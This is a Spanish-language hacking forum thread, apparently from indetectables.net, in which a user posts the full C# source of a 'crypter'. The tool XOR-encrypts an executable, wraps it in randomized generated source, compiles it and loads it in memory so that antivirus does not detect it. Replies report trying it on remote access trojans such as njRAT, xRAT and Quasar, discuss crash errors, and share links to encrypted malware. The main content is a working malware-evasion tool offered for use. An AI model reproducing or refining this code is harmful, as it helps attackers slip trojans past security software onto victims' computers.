Página 1 de 2

Simplisimo Crypter .NET

Publicado: 06 Ene 2017, 22:55
por Blau
Hola,
he hecho un pequeño crypter en .NET usando la archifamosa técnica compartida por por ard93 aquí. El archivo os lo dejo en archivos adjuntos, la contraseña es indetectables.net. Por último, un scan de una bola (no tengo ningún RAT en .NET a mano).

[Enlace externo eliminado para invitados]
Imagen


P.D: aquí os dejo el source por si os interesa.
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Forms;

namespace Simplisimo
{
    class Program
    {
        static Random random = new Random();

        [STAThread]
        static void Main(string[] args)
        {
            OpenFileDialog FileDlg = new OpenFileDialog();
            FileDlg.Filter = "(*.exe)|*.exe";
            FileDlg.Title = "SimplisimoCrypter by Blau [Indetectables.net]";
            FileDlg.Multiselect = false;

            if (FileDlg.ShowDialog() == DialogResult.OK)
            {
                string InputFile = FileDlg.FileName;
                if (!File.Exists(InputFile))
                {
                    MessageBox.Show("File does not exists.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return;
                }

                byte[] FileBuffer = File.ReadAllBytes(InputFile);

                byte[] key = new byte[5];
                random.NextBytes(key);

                x(ref FileBuffer, key);

                string CompilePath = Directory.GetParent(Environment.GetFolderPath(Environment.SpecialFolder.System)) + "\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe";
                string BufferVar = RandomString(20);
                string KeyVar = RandomString(20);
                string CountVar = RandomString(20);
                string AssemblyVar = RandomString(20);
                string EntryPointVar = RandomString(20);
                string SourcePath = RandomString(20) + ".cs";
                string OutputPath = RandomString(20) + ".exe";

                string Source = "class " + RandomString(20) + "{static void Main(string[] args) {";
                Source += "byte[] " + BufferVar + " = {" + ByteArrayToStringRepr(FileBuffer, ", ") + "};";

                Source += "byte[] " + KeyVar + " = { " + ByteArrayToStringRepr(key, ", ") + "};";
                Source += "for (int " + CountVar + " = 0; " + CountVar + " < " + BufferVar + ".Length; " + CountVar + "++) " + BufferVar + "[" + CountVar + "] = (byte)(" + BufferVar + "[" + CountVar + "] ^ " + KeyVar + "[" + CountVar + " % " + KeyVar + ".Length]);";
                Source += "System.Reflection.Assembly " + AssemblyVar + " = System.Reflection.Assembly.Load(" + BufferVar + ");System.Reflection.MethodInfo " + EntryPointVar + "=" + AssemblyVar + ".EntryPoint;" + EntryPointVar + ".Invoke(null,new object[]{new string[]{" + EntryPointVar + ".GetParameters().ToString()}});";
                Source += "}}";

                File.WriteAllText(SourcePath, Source);

                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = CompilePath;
                psi.UseShellExecute = true;
                psi.Arguments = "/t:winexe -out:\"" + OutputPath + "\" \"" + SourcePath + "\"";
                psi.WindowStyle = ProcessWindowStyle.Hidden;
                Process.Start(psi).WaitForExit();

                if (File.Exists(SourcePath)) File.Delete(SourcePath);
                if(File.Exists(OutputPath))
                {
                    MessageBox.Show("File compile name: " + OutputPath, "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
                } else
                {
                    MessageBox.Show("Error compiling.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                return;
            }
        }

        private static void x(ref byte[] input, byte[] key)
        {
            for (int i = 0; i < input.Length; i++) input[i] = (byte)(input[i] ^ key[i % key.Length]);
        }

        public static string RandomString(int size)
        {
            StringBuilder builder = new StringBuilder();
            char ch;
            for (int i = 0; i < size; i++)
            {
                ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65)));
                builder.Append(ch);
            }

            return builder.ToString();
        }

        public static string ByteArrayToStringRepr(byte[] Buffer, string Separator)
        {
            StringBuilder Result = new StringBuilder();

            int LineCount = 0;
            for(int i = 0; i < Buffer.Length; i++)
            {
                Result.Append(Buffer[i]);
                if (i != Buffer.Length-1) Result.Append(Separator);
                if (LineCount == 50) {
                    Result.AppendLine();
                    LineCount = 0;
                }
            }

            return Result.ToString();
        }
    }
}

Re: Simplisimo Crypter .NET

Publicado: 06 Ene 2017, 23:00
por ard93
Que grande Blau, esa era mi idea, que este metodo rulara por aqui, ya que con el se pueden pasar proactivas y la deep, ahora le echo un ojo.
Saludos.

Re: Simplisimo Crypter .NET

Publicado: 07 Ene 2017, 01:49
por Negro23
a mi no me tira

Re: Simplisimo Crypter .NET

Publicado: 07 Ene 2017, 01:51
por ard93
Ami tampoco :(

Re: Simplisimo Crypter .NET

Publicado: 07 Ene 2017, 02:49
por Melbourne
Manos a la obra , a ver quien es el primero que lo soluciona . Gracias por este aporte se nota el nivel

Re: Simplisimo Crypter .NET

Publicado: 07 Ene 2017, 08:34
por Blau
¿Podéis ser más específicos?, ¿qué es lo que no os funciona?

Re: Simplisimo Crypter .NET

Publicado: 07 Ene 2017, 10:19
por luckyluck12341
Gracias ,Blau , tratare de probarlo hoy ! :)

salu2 a todos

Re: Simplisimo Crypter .NET

Publicado: 07 Ene 2017, 12:48
por vdixsniperzz
Creo que el error al que se refieren es que cuando abres el server infectado sale un error de que el programa dejó de funcionar

Re: Simplisimo Crypter .NET

Publicado: 07 Ene 2017, 14:28
por aina
Blau escribió:¿Podéis ser más específicos?, ¿qué es lo que no os funciona?
Salta una ventana que dice que el archivo dejo de funcionar.

Re: Simplisimo Crypter .NET

Publicado: 07 Ene 2017, 17:30
por jusa17
gracias blau!!
lo pruebo con el nj
saludos!

Re: Simplisimo Crypter .NET

Publicado: 08 Ene 2017, 00:33
por Blau
Imagen

A mí me funciona con una bola en .NET v2, como dije, no puedo probar con RATs .NET.

Re: Simplisimo Crypter .NET

Publicado: 08 Ene 2017, 01:04
por Dazez
Blau escribió:
Imagen

A mí me funciona con una bola en .NET v2, como dije, no puedo probar con RATs .NET.
En rats como spy-net no funciona. Deja de responder al ejecutar el server.

Re: Simplisimo Crypter .NET

Publicado: 08 Ene 2017, 04:35
por Negro23
Blau escribió:
Imagen

A mí me funciona con una bola en .NET v2, como dije, no puedo probar con RATs .NET.
a ver si puedo servir de algo blau

este es el error
Imagen



y en este portátil tengo 2 rats en Net, el njRAT 7.0 y el 0.6.4. Lo malo es que el 0.7 al reiniciar el ejecutable hace una conexiona fuera
Imagen


te los subo por si acaso te sirven , ya tienen el server normal y encriptado
[Enlace externo eliminado para invitados] pass: indetectables

(se que soy un inútil pero igual puedo ayudar )

Re: Simplisimo Crypter .NET

Publicado: 08 Ene 2017, 06:00
por Bravus
Buenísimo crypt, bro voy a provarlo a ver que tal, un abrazo.

Re: Simplisimo Crypter .NET

Publicado: 08 Ene 2017, 15:59
por Melbourne
Con xrat a mi me funciono bien.
Lo unico con quasar me daba algo de firmas desconozco la razón ya que se sale fuera de mis conocimientos.
Error que muestra con quasar
Description:
Stopped working

Problem signature:
Problem Event Name: CLR20r3
Problem Signature 01: odydcccmwgemladpqmax.exe
Problem Signature 02: 0.0.0.0
Problem Signature 03: 5872508b
Problem Signature 04: mscorlib
Problem Signature 05: 2.0.0.0
Problem Signature 06: 4ca2b889
Problem Signature 07: f50
Problem Signature 08: 7
Problem Signature 09: N3CTRYE2KN3C34SGL4ZQYRBFTE4M13NB
OS Version: 6.1.7601.2.1.0.256.1
Locale ID: 1043

Read our privacy statement online:
[Enlace externo eliminado para invitados]

If the online privacy statement is not available, please read our privacy statement offline:
C:\Windows\system32\en-US\erofflps.txt
Pero en xrat funciono por lo que supongo que será un problema de librerias de este rat o no sé. Excelente aporte!